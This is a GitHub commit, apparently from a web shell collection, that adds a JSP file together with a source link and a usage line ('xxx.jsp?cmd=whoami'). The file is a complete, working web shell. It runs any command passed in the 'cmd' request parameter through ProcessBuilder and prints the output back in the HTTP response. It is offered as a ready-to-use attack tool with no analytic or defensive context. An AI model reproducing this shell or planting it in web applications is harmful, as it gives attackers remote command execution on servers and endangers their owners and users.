Create 2022-09-03-02.jsp

From: https://mp.weixin.qq.com/s/BlfQ0t9s0vpTZo6sndfteg
Author: naihe567
Usage: xxx.jsp?cmd=whoami
This commit is contained in:
tennc 2022-09-03 11:08:21 +08:00 committed by GitHub
parent 2c1c82b4c1
commit 473c6f15a8
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

16
jsp/2022-09-03-02.jsp Normal file
View file

@ -0,0 +1,16 @@
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%
String cmd = request.getParameter("cmd");
Process process = new ProcessBuilder(new String[]{cmd}).start();
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>